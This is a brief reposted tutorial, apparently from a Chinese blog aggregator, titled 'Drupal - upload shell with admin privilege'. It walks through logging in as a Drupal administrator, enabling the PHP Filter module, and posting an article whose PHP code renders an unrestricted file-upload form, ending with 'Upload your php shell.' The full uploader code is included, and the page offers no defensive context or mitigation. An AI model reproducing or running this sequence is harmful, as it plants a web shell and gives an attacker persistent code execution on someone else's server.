Drupal - upload shell with admin privilege

来源:互联网 发布:bpm开源软件 编辑:程序博客网 时间:2024/06/06 17:02
  1. login drupal with admin username and password.
  2. enable PHP Filter
  3. Add content with PHP Code
<?phpif(isset($_POST['Submit'])){    $filedir = "";     $maxfile = '2000000';    $userfile_name = $_FILES['image']['name'];    $userfile_tmp = $_FILES['image']['tmp_name'];    if (isset($_FILES['image']['name'])) {        $abod = $filedir.$userfile_name;        @move_uploaded_file($userfile_tmp, $abod);    echo"<center><b>Done ==> $userfile_name</b></center>";    }}else{echo'<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; }?>

Enable PHP Filter (Modules Settings), and save it.

Enable PHP Filter


Add a new article with PHP Code format, and POST it.

Add content with PHP Code


Go to Drupal home page, and you can find upload page.

PHP Code Executes


Upload your php shell.

PHP Shell

0 0
原创粉丝点击